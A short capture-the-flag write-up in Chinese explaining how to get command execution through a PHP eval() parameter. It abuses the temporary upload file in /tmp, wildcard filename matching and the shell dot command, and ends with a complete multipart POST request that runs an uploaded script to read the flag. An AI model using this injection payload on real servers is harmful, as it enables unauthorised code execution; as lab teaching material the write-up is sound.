PHP上传机制
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。
PHP命令执行
eval($cmd);
执行命令方式:
system('ls');
echo(`ls`);
echo+反引号
?><?=`ls`;
<?=是echo()的别名用法,不需要开启short_open_tag。 需要先?>把前面的<?php给闭合掉
通配符与无字母数组命令执行
既然./exp.txt可以用./??p???代替
那么我们上传的临时文件phpxxxxx.tmp也可以用php???.tmp代替
.+/解释
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。
点执行了tmp文件里的内容ls
解题
查看源码:
通过POST提交修改这几行,可以得到flag
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--